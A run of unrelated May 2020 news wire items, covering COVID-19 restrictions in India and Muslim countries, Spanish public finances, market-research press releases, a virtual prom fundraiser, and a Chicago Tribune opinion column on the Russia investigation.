"The federal government sharply condemns all glorification and legitimizing of terror, [as well as] calls for the annihilation of Israel, inciting terrorist acts or spreading antisemitic content. Such hostile comments to Israel are in no way acceptable. Israel's right to exist is not negotiable. The federal republic regularly addresses critical points in all areas in an open way with Iran," the ministry said.

Responding to the controversial poster, the Israeli army's Persian-language Twitter had also said in a derisive tone that the Islamic Republic is only capable of making "Puerile drawings" to convince itself that its fantasies will one day come true.

In 2015 Khamenei had said that Israel would be destroyed in 25 years but he is not known to have used the term "Final Solution" in his anti-Israeli rhetoric before.

The Islamic Republic is preparing itself for celebrating the anti-Israel Qods Day on Friday. This year's Qods Day march which Iranian media have called the "first Day of Qods without Qassem Soleimani", the fallen Chief-Commander of the Qods Force, has been cancelled but Supreme Leader Khamenei will address the nation on television.

Source: https://en.radiofarda.com/a/netanyahu-says-khamenei- threat-of-final-solution-evokes -nazi-slogan/30625339.html

Copyright (c) 2020. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036.

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The Karnataka government on Friday said returnees from six states with high COVID-19 caseload -- Maharashtra, Gujarat, Delhi, Tamil Nadu, Rajasthan and Madhya Pradesh -- will be kept in institutional quarantine for seven days.

After the returnees test negative for the disease in pool testing, they will be sent for home quarantine for another seven days, it said.

Returnees from other low prevalence states will be asked to follow 14 days of home quarantine, according to the standard operating procedure (SOP) for entry of persons from other states to Karnataka issued by the state health department late on Friday night.

The SOP allows home quarantine for pregnant women, children below the age of 10, those aged 80 and above, and terminally ill patients along with one attendant after they test negative.

In special cases like businessmen coming for urgent work, the quarantine period will be waived if they furnish a report from an ICMR-approved laboratory showing they tested negative for COVID-19, it said.

The report should not be more than two days old from the date of travel.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Fresh Del Monte Produce (NYSE:FDP) cut the ribbon on its new fresh-cut vegetable and fruit plant in Japan today, according to a press release. The facility has been under construction since 2019 and cost around $19 million. It will process approximately 10,000 tons (20 million pounds) of produce every year.

The facility is located in Yokohama, a port city on Tokyo bay, close to the capital. Tokyo is home to almost 40 million people, placing the plant next door to a huge market for ready-to-eat produce, a high-demand food sector in Japan, according to the company. The processing plant features powerful air conditioning and stringent sanitation measures to ensure the food is as clean and fresh as possible.

The general manager of Del Monte's Japanese branch, Kunihiko Katayama, said it is "exciting to finally see our work come to fruition as we continue to supply our customers with fresh and ready-to-eat produce."

The move is part of a broader strategy by Del Monte to expand its production and presence around the world. Last December, it opened a large avocado processing plant in Mexico in response to the 168% growth in demand for the fruit in the U.S. It also built a pineapple plant in Kenya, more facilities in Costa Rica and elsewhere in Central and South America, and has worked to enhance the productivity of its American locations.
Technavio has been monitoring the cannabis-based alcoholic beverage market and it is poised to grow by USD 155.28 million during 2020-2024, progressing at a CAGR of almost 19% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005168/en/

Technavio has announced the latest market research report titled Global Cannabis-based Alcoholic Beverage Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is concentrated, and the degree of concentration will accelerate during the forecast period. Anheuser-Busch InBev, CannaVines, Dutch Windmill Spirits BV, Heineken NV, Klosterbrauerei Weienohe GmbH Co.KG, MJ Wines LLC, NABC, Inc., Rebel Coast Winery, and Winabis, Wine Cannabis are some of the major market participants. The social acceptance of cannabis will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Social acceptance of cannabis has been instrumental in driving the growth of the market.

Cannabis-based Alcoholic Beverage Market 2020-2024: Segmentation

Cannabis-based Alcoholic Beverage Market is segmented as below:

Product Cannabis-infused Beers Cannabis-infused Spirits Cannabis-infused Wines

Geography North America Europe APAC South America MEA



To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR40777

Cannabis-based Alcoholic Beverage Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our cannabis-based alcoholic beverage market report covers the following areas:

Cannabis-based Alcoholic Beverage Market Size

Cannabis-based Alcoholic Beverage Market Trends

Cannabis-based Alcoholic Beverage Market Industry Analysis

This study identifies the growing prominence of online retailing as one of the prime reasons driving the cannabis-based alcoholic beverage market growth during the next few years.

Cannabis-based Alcoholic Beverage Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the cannabis-based alcoholic beverage market, including some of the vendors such as Anheuser-Busch InBev, CannaVines, Dutch Windmill Spirits BV, Heineken NV, Klosterbrauerei Weienohe GmbH Co.KG, MJ Wines LLC, NABC, Inc., Rebel Coast Winery, and Winabis, Wine Cannabis. Backed with competitive intelligence and benchmarking, our research reports on the cannabis-based alcoholic beverage market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Cannabis-based Alcoholic Beverage Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist cannabis-based alcoholic beverage market growth during the next five years

Estimation of the cannabis-based alcoholic beverage market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the cannabis-based alcoholic beverage market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of cannabis-based alcoholic beverage market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product placement

Cannabis-infused beers Market size and forecast 2019-2024

Cannabis-infused spirits Market size and forecast 2019-2024

Cannabis-infused wines Market size and forecast 2019-2024

Market opportunity by Product

Market Segmentation by Application

Market segments

Comparison by Application placement

Market opportunity by Application

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

North America Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

APAC Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Overview

Vendor landscape

Landscape disruption

Vendor analysis

Vendors covered

Anheuser-Busch InBev

California Dreamin'

CannaVines

Dutch Windmill Spirits BV

Heineken NV

Klosterbrauerei Weienohe GmbH Co.KG

MJ Wines LLC

Rebel Coast Winery

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

About Us

Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

View source version on businesswire.com: https://www.businesswire.com/news/home/20200522005168/en/

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The coronavirus crisis has devastated the Spanish economy, leaving the public coffers with debt levels not seen since the beginning of the last century. All indications suggest that the Spanish government will need to introduce new measures to get the economy back on track. The question is how. According to several experts, Spain may decide to increase taxes, cut social spending or raise the retirement age.

It is still too soon to know what life in Spain will be like after the pandemic. But the magnitude of the crisis indicates that adjustments will need to be made in the future if the country is to compensate for the huge increase in spending on healthcare and social protection. The public coffers have come under pressure from the loss in revenue, estimated at around 25.7 billion. Both the Tax Authority (Airef) and the Bank of Spain have indicated that adjustments will need to be made to replenish the depleted treasury. This typically translates to spending cuts and tax hikes.

As a country we have to decide: do we dismantle part of the welfare state or increase revenue? says Ignacio Conde-Ruiz, an economics professor at Madrids Complutense University and the deputy director of the Foundation of Applied Economic Studies (Fedea).

Its certain that an effort will be asked for, but it has to be done very carefully so that investment is not slowed down, says Valentin Pich, president of the Council of Economists.

As a country we have to decide: do we dismantle part of the welfare state or increase revenue Ignacio Conde-Ruiz, Complutense University

With corporate profit hit by the fall in revenue and consumption, raising taxes now would be counterproductive, according to the economists consulted by EL PAIS. But the moment the situation stabilizes, the government will need to make a decision: increase revenue or reduce spending.

The government estimates that growth will fall by 9.2% in 2020, that debt will rise to 115.5% of Gross Domestic Product (GDP) and that the deficit will reach 10.3% (more than 100 billion). Some experts view this forecast as overly optimistic, and warn it could worsen if there is a new coronavirus outbreak in the fall.

The economy, however, is expected to bounce back in 2021. The question is whether it will be enough to not have to put the public accounts in order, explains Francisco Perez, the director of the Valencia Institute of Economic Research (IVIE) and a professor at Valencia University. Perez points out that there will be lower spending on healthcare as the outbreak comes under control, but that other measures, like the planned guaranteed minimum income scheme, will continue to require funding.

Finance Minister Maria Jesus Montero has stated that there will not be massive spending cuts or massive tax hikes. The government, however, plans to approve the so-called Google tax on digital services, and another levy on financial transactions, by the end of the year. But together these would only raise an estimated 1.8 billion, not even two tenths of a point of the deficit. The anti-austerity party has also proposed a wealth tax that would affect people with assets worth over 1 million, but this does not appear to have much backing.

Finance Minister Maria Jesus Montero has stated that there will not be massive spending cuts or massive tax hikes

Jose Carlos Diez, from the University of Alcala, believes that the government will have to make adjustments to pensions. This represents one of the governments biggest spending commitments  2 out of every 5 collected in taxes goes towards pensions, and in 2019, the cost was 135 billion. Diez suggests that the retirement age should be raised right now to 67, instead of in 2027. The economist also believes that the highest brackets of personal income tax (IRPF) and value-added tax (IVA) should be increased.

Jorge Onrubia, who teaches economics at Madrids Complutense University, has a different view. I do not support cutting pensions or civil servant pay, nor do I see the current government doing this, unless the European Union forces it to, he says.

For now, Brussels has decided not to ask EU members to make cuts, despite the high levels of debt and deficit. But it has already noted that when the storm passes, states will have to return to the path of fiscal consolidation.

English version by Melissa Kitson.
Dublin, May 22, 2020 (GLOBE NEWSWIRE) -- The "North America Smart Mining Market Forecast to 2027 - COVID-19 Impact and Regional Analysis by Component; Mining Type; Hardware Type; Software Type" report has been added to ResearchAndMarkets.com's offering.



The smart mining market in North America is expected to grow from US$ 2,418.4 Mn in 2019 to US$ 10,099.7 Mn by 2027; it is estimated to grow at a CAGR of 19.8% during 2020-2027.



North America includes developed economies such as the US and Canada, along with several developing economies such as Mexico. Technological advancements have led to a highly competitive market in North America. The North American smart mining sector is experiencing growth, facing hindrances, and witnessing trends at the regional, provincial/state, and local levels. The world's largest mining companies have been working hard to cut costs and take the impairments required to support continued North America smart mining commodity demand.



On the basis of component, hardware segment led the smart mining market in 2018. In recent years, wearable devices have been in use in various applications in the mining industry to regulate production processes in hard rock mines, health and safety management in coal mines, and monitor environmental quality in industrial mineral mines.



The overall North America smart mining size has been derived using both primary and secondary sources. To begin the research process, exhaustive secondary research has been conducted using internal and external sources to obtain qualitative and quantitative information related to the market. It also provides the overview and forecast for the market based on the segmentation pertaining to the market in North America. Also, multiple primary interviews have been conducted with industry participants and commentators to validate the data, as well as to gain more analytical insights into the topic. The participants who typically take part in such a process include industry expert such as VPs, business development managers, market intelligence managers, and national sales managers along with external consultants such as valuation experts, research analysts, and key opinion leaders specializing in the North America smart mining market.



A few of the players operating in the North America smart mining market are ABB Ltd, Alastri, Caterpillar Inc, SAP SE, Trimble Inc, and Hitachi Ltd.



Reasons to Buy

Save and reduce time carrying out entry-level research by identifying the growth, size, leading players and segments in the North America smart mining market.

Highlights key business priorities in order to assist companies to realign their business strategies

The key findings and recommendations highlight crucial progressive industry trends in the North America smart mining market, thereby allowing players across the value chain to develop effective long-term strategies

Develop/modify business expansion plans by using substantial growth offering developed and emerging markets

Scrutinize in-depth North America market trends and outlook coupled with the factors driving the market, as well as those hindering it

Enhance the decision-making process by understanding the strategies that underpin commercial interest with respect to client products, segmentation, pricing and distribution



Key Topics Covered:



1. Introduction

1.1 Study Scope

1.2 Report Guidance

1.3 Market Segmentation



2. Key Takeaways



3. Research Methodology

3.1 Coverage

3.2 Secondary Research

3.3 Primary Research



4. Smart Mining Market Landscape

4.1 Market Overview

4.2 PEST Analysis

4.2.1 North America - PEST Analysis

4.3 Ecosystem Analysis

4.4 Expert Opinion



5. Smart Mining Market - Key Market Dynamics

5.1 Market Drivers

5.1.1 Usage of IoT in Mining for the Safety of Workers

5.1.2 On-site data acquisition systems for Protecting On-Site data

5.2 Market Restraints

5.2.1 Increased Safety Standards, Strict Environmental Regulations for Mining Companies

5.3 Market Opportunities

5.3.1 Mining Automation for Simple Operation

5.4 Future Trends

5.4.1 Digital Transformation of Mining Companies

5.5 Impact Analysis of Drivers and Restraints



6. Smart Mining - North America Market Analysis

6.1 Smart Mining Market Overview

6.2 Smart Mining Market -Revenue and Forecast to 2027 (US$ Million)



7. Smart Mining Market - By Component

7.1 Overview

7.2 Smart Mining Market Breakdown, by Component (2019 and 2027)

7.3 Hardware

7.3.1 Overview

7.3.2 Hardware: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

7.3.3 RFID Tags

7.3.3.1 Overview

7.3.3.2 RFID Tags Market Forecast and Analysis

7.3.4 Sensors

7.3.4.1 Overview

7.3.4.2 Sensors Market Forecast and Analysis

7.3.5 Intelligent Systems

7.3.5.1 Overview

7.3.5.2 Intelligent System Market Forecast and Analysis

7.3.6 Others

7.3.6.1 Overview

7.4 Software and Solutions

7.4.1 Overview

7.4.2 Software & Solutions: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

7.4.3 Logistics Software

7.4.3.1 Overview

7.4.3.2 Logistics Software Market Forecast and Analysis

7.4.4 Data and Operation Management

7.4.4.1 Overview

7.4.4.2 Data and Operation Management Market Forecast and Analysis

7.4.5 Safety and Security Systems

7.4.5.1 Overview

7.4.5.2 Safety and Security Systems Market Forecast and Analysis

7.4.6 Connectivity Solutions

7.4.6.1 Overview

7.4.6.2 Connectivity Solutions Market Forecast and Analysis

7.4.7 Analytics Solutions

7.4.7.1 Overview

7.4.7.2 Analytics Solutions Market Forecast and Analysis

7.4.8 Remote Management Solutions

7.4.8.1 Overview

7.4.8.2 Remote Management Solutions Market Forecast and Analysis

7.4.9 Asset Management Solutions

7.4.9.1 Overview

7.4.9.2 Asset Management Solutions Market Forecast and Analysis

7.5 Services

7.5.1 Overview

7.5.2 Services: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)



8. Smart Mining Market - By Mining Type

8.1 Overview

8.2 Smart Mining Market Breakdown, by Mining Type (2019 and 2027)

8.3 Underground Mining

8.3.1 Overview

8.3.2 Underground Mining: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

8.4 Surface Mining

8.4.1 Overview

8.4.2 Surface Mining: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)



9. North America Smart Mining Market - Country Analysis

9.1 North America: Smart Mining Market

9.1.1 North America: Smart Mining Market, by Key Country

9.1.1.1 US: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

9.1.1.1.1 US: Smart Mining Market, by Component

9.1.1.1.2 US: Smart Mining Market, by Mining Type

9.1.1.1.3 US: Smart Mining Market, by Hardware Type Industry

9.1.1.1.4 US: Smart Mining Market, by Software and Solution Type Industry

9.1.1.2 Canada: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

9.1.1.2.1 Canada: Smart Mining Market, by Component

9.1.1.2.2 Canada: Smart Mining Market, by Mining Type

9.1.1.2.3 Canada: Smart Mining Market, by Hardware Type

9.1.1.2.4 Canada: Smart Mining Market, by Software and Solution Type

9.1.1.3 Mexico: Smart Mining Market - Revenue and Forecast to 2027 (US$ Million)

9.1.1.3.1 Mexico: Smart Mining Market, by Component

9.1.1.3.2 Mexico: Smart Mining Market, by Mining Type

9.1.1.3.3 Mexico: Smart Mining Market, by Hardware Type

9.1.1.3.4 Mexico: Smart Mining Market, by Software and Solution Type



10. Industry Landscape

10.1 Overview

10.2 Market Initiative

10.3 Merger and Acquisition

10.4 New Development



11. Company Profiles

11.1 ABB Ltd.

11.1.1 Key Facts

11.1.2 Business Description

11.1.3 Products and Services

11.1.4 Financial Overview

11.1.5 SWOT Analysis

11.1.6 Key Developments

11.2 Alastri

11.2.1 Key Facts

11.2.2 Business Description

11.2.3 Products and Services

11.2.4 Financial Overview

11.2.5 SWOT Analysis

11.2.6 Key Developments

11.3 Caterpillar Inc.

11.3.1 Key Facts

11.3.2 Business Description

11.3.3 Products and Services

11.3.4 Financial Overview

11.3.5 SWOT Analysis

11.3.6 Key Developments

11.4 Intellisense.io

11.4.1 Key Facts

11.4.2 Business Description

11.4.3 Products and Services

11.4.4 Financial Overview

11.4.5 SWOT Analysis

11.4.6 Key Developments

11.5 Hexagon AB

11.5.1 Key Facts

11.5.2 Business Description

11.5.3 Products and Services

11.5.4 Financial Overview

11.5.5 SWOT Analysis

11.5.6 Key Developments

11.6 Hitachi, Ltd.

11.6.1 Key Facts

11.6.2 Business Description

11.6.3 Products and Services

11.6.4 Financial Overview

11.6.5 SWOT Analysis

11.6.6 Key Developments

11.7 MineSense

11.7.1 Key Facts

11.7.2 Business Description

11.7.3 Products and Services

11.7.4 Financial Overview

11.7.5 SWOT Analysis

11.7.6 Key Developments

11.8 Rockwell Automation, Inc.

11.8.1 Key Facts

11.8.2 Business Description

11.8.3 Products and Services

11.8.4 Financial Overview

11.8.5 SWOT Analysis

11.8.6 Key Developments

11.9 SAP SE

11.9.1 Key Facts

11.9.2 Business Description

11.9.3 Products and Services

11.9.4 Financial Overview

11.9.5 SWOT Analysis

11.9.6 Key Developments

11.10 Trimble Inc.

11.10.1 Key Facts

11.10.2 Business Description

11.10.3 Products and Services

11.10.4 Financial Overview

11.10.5 SWOT Analysis

11.10.6 Key Developments



12. Appendix

12.1 About the Publisher

12.2 Word Index



For more information about this report visit https://www.researchandmarkets.com/r/4fsl44

Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.
Mumbai: Raj Thackeray-led Maharashtra Navnirman Sena (MNS) has attacked Maharashtras ruling party Shiv Sena after its workers allegedly distributed sanitary napkins carrying Aaditya Thackeray's photo.

Aditya, who is the son of Shiv Sena supremo and Chief Minister Uddhav Thackeray, is currently serving as the State Environment and Tourism Minister in the Maha Vikas Aghadi government.

A senior MNS leader, Sandeep Deshpande, had alleged that the Shiv Sainiks distributed 500 packets of sanitary napkins with Aaditya Thackerays photograph affixed on them among women in Colaba Assembly constituency.

In a tweet, Deshpande said that the sanitary pads with Aadityas photo on the packets were distributed by Yuvati and Yuva Sena.

Notably, Aaditya Thackeray is also the president of Yuva Sena.

Mumbai has been hit hard by the coronavirus pandemic. According to the Brihanmumbai Municipal Corporation (BMC), the country's financial capital has recorded 23,935 coronavirus cases. 841 people have lost their lives in Mumbai due to the deadly contagious virus.

Due to the surge in COVID-19 cases, five companies of the Central Armed Police Forces have been deployed in Mumbai to enforce strict implementation of the coronavirus-induced lockdown.

The highest number of confirmed cases in the country are from Maharashtra at 41,642 followed by Tamil Nadu at 13,967, Gujarat at 12,905, Delhi at 11,659 Rajasthan at 6,227, Madhya Pradesh at 5,981 and Uttar Pradesh at 5,515, according to the health ministry data updated in the morning.

The country recorded the biggest single-day spike of 6,088 COVID-19 cases, while the death toll due to the virus has climbed to 3,583, the Union Health Ministry said on Friday.

The number of coronavirus cases now stands at 1,18,447 in the country. There has been an increase of 148 deaths and 6,088 cases since Thursday, according to the Health Ministry. The number of active COVID-19 cases stood at 66,330, while 48,533 people have recovered and one patient has migrated, it said.

"Thus, around 40.97 per cent patients have recovered so far," a senior health ministry official said. The total confirmed cases include foreigners.

Of the 148 deaths reported since Thursday morning, 64 were in Maharashtra, 24 in Gujarat, 18 from Delhi, 11 from Uttar Pradesh, seven from Tamil Nadu, six from West Bengal, five from Telangana, four from Rajasthan, three from Madhya Pradesh, two from Jammu and Kashmir and one each from Bihar, Odisha, Haryana and Punjab.
Online travel solutions provider Yatra.com on Friday said it has partnered with the administrations of Delhi and Gurugram for ferrying over 3,500 migrants to various parts of Uttar Pradesh "free of cost".

Starting May 22, the bus service will operate to multiple destinations in Uttar Pradesh, amidst nationwide lockdown triggered by the pandemic, Yatra.com said in a release.

"Yatra.com has partnered with the Delhi and Gurugram Administration to provide free bus services for migrant workers in the city,"the release stated.

Under the tie-up, the online travel firm is currently providing 150 buses, which will operate from different transit points in Delhi and Gurugram to various places in Uttar Pradesh over the next few days with plans to safely ferry over 3,500 migrant workers, it said.

"We have provided the Delhi and Gurugram Administration with up to 150 buses to transport migrant laborers to their hometown. This is a complex problem of immense magnitude which despite their best efforts the local administrations cannot solve on their own, said Dhruv Shringi, Co-founder and CEO, Yatra.com.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Zach Sang knows something about reaching an audience.

Five nights a week, he hosts a national radio show, the Zach Sang Show," for Westwood One, interviewing some of musics biggest names.

But he also knows what its like to be a teenager searching for connection. His journey began 12 years ago in his childhood bedroom in Wayne, where he started an internet radio show. At the time, family members would call in to fill airtime. But then he started booking talent. For Sang, who didnt have the best luck making friends, the show was a ticket out of isolation  a door to a larger world and career.

Now 27, he routinely interviews chart-climbers like Ariana Grande, Selena Gomez, Katy Perry, Megan Thee Stallion, Sam Smith and New Jerseys own Halsey and Jonas Brothers.

On Friday, May 22, Sang is hosting Prom from Home: Under the Living Room Lights, a livestreamed virtual prom with performances from a string of young recording artists with supremely robust Instagram followings. In doing so, he hopes he can ease some of the isolation caused by the coronavirus pandemic.

In March, at the start of lockdown, Sang, who has lived in Los Angeles for five years, transitioned to interviewing celebrities remotely. It was still possible for him to do his job, but he considered the changes others would have to make, including high school students.

I was thinking about our new reality and all the things we had to miss out on," Sang tells NJ Advance Media. Prom for so many people is that glimmer of hope, one of the shining lights at the end of the tunnel for all that work ... They deserve something. Theyre hurting because of it, they really are.

Zach Sang in his pre-prom photos. He attended two proms: Wayne Valley High School's in 2010 and Mount St. Dominic Academy's in 2011.Zach Sang

Sang wanted to organize something to fill the void. He had his own prom experiences in 2010 at Wayne Valley High School, his alma mater, and in 2011 Caldwells Mount St. Dominic Academy, since he was a date for two friends. (My entire existence is still in New Jersey, he says. My entire family pretty much is in Wayne.)

It turns out St. Jude Childrens Research Hospital was looking to plan a prom fundraiser. Sang, who had worked with the hospital before, suggested joining forces.

Prom from Home" will benefit St. Jude by generating money to support pediatric cancer patients and their families while providing an option for high school students to celebrate at home.

The event will stream Friday night on YouTube and Twitter. The lineup includes Finneas OConnell (Billie Eilishs Grammy-winning brother and collaborator), Noah Cyrus, Lewis Capaldi, Surf Mesa, Restless Road, Stephanie Poetri, Cheat Codes, Ashe, Bazzi, MAX, Loren Gray, Asher Angel, Kane Brown, Olivia OBrien, Loud Luxury, Blanco Brown, AJR, CNCO, Monsta X, Mxmtoon and Lauv.

Celebrities will join as guest DJs and there are a few surprise appearances planned.

My goal with Prom from Home is for everyone who attends to have a memory thats going to last them forever," Sang says. The event is free and open to all, but the first 2,500 people who pre-register and raise $400 for St. Jude get access to a pre-prom red carpet event with celebrities. Small donations and group donations are welcome.

As for keeping prom social during social distancing, Sang, who has been spending quarantine alone, says attendees will be able to use an app called Airtime to incorporate the livestream into a video chat with friends.

I want this to be a reason for people to connect, he says.

How to watch Prom from Home

Prom from Home: Under the Living Room Lights" starts 7 p.m. ET Friday, May 22.

Watch on YouTube (see video below) or Twitter.

For more, visit stjude.org/prom.

Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription.

Tell us your coronavirus story. Amy Kuperinsky may be reached at akuperinsky@njadvancemedia.com or send a tip here.
One of the most important dates in Islam will be marked by lockdown, restrictions and social distancing. Most countries have banned lavish communal meals and feasts. In Dubai, the police will carry thermal detectors. People not wearing masks risk hefty fines. Public transit has been banned in Egypt.

Baghdad (AsiaNews)  The novel coronavirus pandemic, which has claimed lives and shut down places of worship worldwide, will also affect Eid al-Fitr, one of the most important moments in Islam, characterised by communal feasting and celebrations.

To avoid new outbreaks, the governments and the religious authorities of most Muslim countries have decided to maintain the lockdown and related restrictions.

The lavish banquets, family reunions, and group celebrations that normally mark the end of Ramadan, the holy month of fasting and prayer, have been proscribed.

The holiday will start tomorrow and last until the evening of the next day. Muslims will thank God for giving them strength and blessings, hoping that the holy month will have helped them get closer to God and perfection.

Muhammad celebrated the first Eid in 624 AD after a military victory. The celebrations vary according to branch (Sunni or Shia) and place.

Muslims meet in mosques or in the open air for their first daytime meal; the festival is also an occasion for interfaith meetings.

In Egypt, the authorities ordered all shops, restaurants, parks and beaches closed for the extended holiday; public and private travel is banned until 29 May.

In Dubai, United Arab Emirates, police have been equipped with thermal detectors to measure body temperatures, whilst all public activities have been suspended. The authorities are also cracking down on violators of social distancing, people who dont wear masks or self-isolate.

In Iran, the government has urged people not to travel for the holiday to avoid another surge in contagions. The country has been the hardest hit in the Middle East. Celebrations will start on Sunday but existing restrictions remain in place, especially since some provinces like Khuzestan, people have failed to respect social distancing and prevention protocols.

Group prayers have also been banned in Turkey, replaced by online and TV sermons and special prayers to keep the spirit of the Eid al-Fitr alive. Communal meals and meetings are prohibited. The lockdown and restrictions have reduced the number of cases.

In Iraq, the capital Baghdad remains under lockdown and curfew as the country reports its highest daily increase of COVID-19 with 153 cases

Restrictions, gatherings and social distancing remain in effect throughout the festival, threatening the survival of many businesses that normally rely on the Eid for a good chunk of their turnover.
A recent headline in The New York Times  a paper of record for the anti-Trump Resistance  was adamant:

Barr Dismisses Trumps Claim That Russia Inquiry Was an Obama Plot.

Reading that, you might come away believing that Attorney General William Barr had just brushed off President Donald Trumps much-tweeted Obamagate theory. Trump insists the now-discredited Russia collusion probe against him was an Obama scheme.

Only one problem with the headline: Barr didnt dismiss it. Barr did not say there was no plot.

He did not say that former President Barack Obama or his vice president, Joe Biden  now the presumptive Democratic nominee  had nothing to do with it.

The Russia collusion investigation tore the country apart. It cost some $40 million and lasted almost three years, leading to partisan impeachment proceedings against Trump, which failed to result in a conviction. Run by special counsel Robert Mueller, it found no credible evidence to accuse any American with colluding with Russia in the 2016 election.

But the hysterical media and partisan finger-pointing that came with it did accomplish something of value.

It allowed Obama and establishment Democratic Party bosses to escape blame for backing Hillary Clinton and losing the White House to Trump. If they could blame Russia for Trump, they could herd anti-establishment Democrats like the Bernie Bros into a safe space and keep control of their party. And so, it was done.

Despite the Times headline, and much of the media coverage over Barrs remarks, all Barr said was that he did not anticipate, based on what he knows now, any criminal investigations into Obama or Biden.

But if you search the negative space between what happened and what may come, youll see evidence of the panic among Obamas servants, his Washington Kemalists. Like their namesakes in Turkey years ago, they acted as if their mission were to protect the state against the will of the people, elections or no elections, and keep their hold on awesome power.

These include Obamas former CIA director, John Brennan, former FBI chief James Comey and former FBI counterintelligence boss Peter Insurance Policy Strzok. The list is long. If theres anyone in this crew who looks like hell wear the jacket for it, its Strzok.

If I were casting the movie, Id have Strzok played by Edward Norton, an actor renowned for releasing his inner weasel.

Im writing this from Chicago on a rainy day, not from the Washington Beltway. But if I might borrow from Strzok, Id say you can smell the fear on them from here.

The news buzz is all about Trump taking hydroxychloroquine to ward off the coronavirus, and the pandemic fills the American bandwidth. But the story of Obamas Kemalists continues. This is why Obama and crew are outraged and busy whipping up their useful idiots. They can see whats coming.

Whats already come out in just a few weeks is a saga papered with lies peddled by spymasters and politicians to journalists. Some former spymasters testified under oath before Congress that they had no evidence on Trump-Russia collusion, then eagerly went out on cable news for pay to shout that Trump was a tool of Vladimir Putin.

There were lies supporting the now-discredited Steele dossier paid for by the Clinton campaign, and lies to the FISA courts, and the Obama administrations political unmasking of Trumps first national security adviser, Michael Flynn.

Flynn pleaded guilty to lying to the FBI about his conversation with a Russian diplomat. His champions say he was pressured by federal threats against his son. Barr dropped the case and called it a trap. There were a series of serious prosecution errors, including an FBI official wondering in a case file if agents were questioning Flynn to get him to lie, so we can prosecute him or get him fired.

Some Obama supporters, including former prosecutors, offer the dissenting view. Theyre adamant that dropping the Flynn case would cast a shadow on all political corruption cases. Others, including me, think the targeting of Flynn was all about getting him out of the way, so the Kemalists could proceed against Trump.

Pressure is being applied. People will flip. Some editors of newspapers that received Pulitzers for covering the now-failed Russia collusion saga may think about assigning investigative reporters to walk back this cat and find out just who kept giving it milk. But time is growing short.

Barrs investigator, respected career prosecutor John Durham, closes in. The Beltway attacks on Barr reach fever pitch. What Barr actually did say in his recent news conference doesnt exonerate the Obama administration. It damns it.

It should be carved into the walls of the planned multimillion-dollar Obama Presidential Center in Chicago, or as I call it, The Obama Temple of Adoration and Fealty.

Over the past few decades there have been increasing attempts to use the criminal justice system as a political weapon, Barr said, clearly referencing both Republican and Democratic Party excesses.

The legal tactic has been to gin up allegations of criminality by ones political opponents based upon the flimsiest of legal theories, Barr said. This is not a good development. It is not good for our political life and its not good for the criminal justice system. And as long as Im attorney general, the criminal justice system will not be used for partisan political ends; and this is especially true for the upcoming elections in November.

That is as it should be.

John Kass is a columnist for the Chicago Tribune. His Twitter handle is @john_kass.

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Brihanmumbai Municipal Corporation has allowed alcohol shops to use e-commerce platforms for doorstep delivery of spirits in Mumbai. The civic body has also allowed online delivery platforms Zomato and Swiggy to deliver alcohol from shops to homes.

BMC permitted home delivery of alcohol a day after Maharashtra government gave its nod to online platforms in this regard. Shops will no longer be able to sell alcohol at their counters. However, they can rope in e-commerce platforms to deliver sealed bottles of liquor outside containment zones. This order comes into effect from midnight on May 22.

ALSO READ: Coronavirus impact: Swiggy starts home delivery of liquor in Jharkhand, Zomato to follow sui

"Amendment in guidelines in respect of liquor shops selling liquor in sealed bottles be permitted to operate by selling liquor to the customers by effecting delivery in view of Extension of lockdown and revised guidelines on the measures to be taken for containment of COVID-19", the BMC order said.

The liquor shops in the shops were opened earlier this month, in accordance to guidelines from the Centre, but were soon closed due to crowding and lack of social distancing.

